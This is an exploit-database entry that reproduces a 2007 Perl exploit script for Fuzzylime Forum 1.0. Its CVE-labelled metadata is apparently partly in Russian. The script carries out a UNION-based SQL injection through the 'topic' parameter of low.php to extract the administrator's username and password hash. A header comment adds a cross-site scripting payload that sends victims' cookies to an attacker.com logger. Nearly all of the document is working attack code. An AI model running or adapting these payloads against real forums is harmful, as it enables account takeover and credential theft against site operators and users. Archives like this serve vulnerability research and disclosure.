Exploit Fuzzylime Forum 1.0 - 'low.php?topic' SQL Injection

[Exploiter]

EDB-ID

4062

Проверка EDB

1. Пройдено

Автор

SILENTZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-3235 cve-2007-3234

Дата публикации

2007-06-12

#!/usr/bin/perl -w

#################################################################################
#										#
#		   Fuzzylime Forum 1.0 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (low.php): 							#
#										#
#      $gettopicid = mysql_query("SELECT * FROM ${table_prefix}threads 		#
#      WHERE threadid='$_GET[topic]'");						#
#										#
# PoC: http://victim.com/low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),	#
#      username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE 		#
#      userid=1/*								#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
# NOTE: You can also grab the username & hash via a cookie logger and this XSS:	#
#										#
#	http://victim.com/low.php?topic="><script>document.location=		#
#       "http://attacker.com/logger.php?var="+document.cookie</script>		#
#										#
#################################################################################

use LWP::UserAgent;
die "Example: exploit.pl http://victim.com/\n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE userid=1/*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /raquo; :(.*?):/){
	print "\nBrought to you by w4ck1ng.com...\n";
	print "\n[+] Admin User : $1";
}

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n";}

else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2007-06-12]